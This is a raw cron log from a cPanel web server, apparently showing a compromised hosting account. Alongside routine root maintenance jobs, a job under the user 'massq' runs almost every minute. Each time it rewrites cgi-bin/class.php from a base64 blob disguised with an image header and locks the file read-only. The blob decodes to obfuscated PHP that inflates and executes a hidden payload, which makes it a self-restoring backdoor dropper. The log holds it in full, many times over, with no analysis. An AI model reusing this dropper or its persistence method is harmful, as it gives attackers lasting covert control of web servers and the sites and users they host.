Nov 14 06:06:01 server CROND[1166]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:07:01 server CROND[1962]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:08:01 server CROND[2825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:09:01 server CROND[3677]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 06:09:01 server CROND[3678]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:10:01 server CROND[4296]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 06:10:01 server CROND[4298]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 06:10:01 server CROND[4299]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:10:01 server CROND[4300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:11:01 server CROND[4972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:12:01 server CROND[5934]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 06:12:01 server CROND[5935]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:13:01 server CROND[6801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:14:01 server CROND[7652]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:15:01 server CROND[8390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:15:01 server CROND[8391]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:15:01 server CROND[8394]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:15:01 server CROND[8395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 06:15:01 server CROND[8396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:16:02 server CROND[8850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:17:01 server CROND[9787]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:18:01 server CROND[10536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
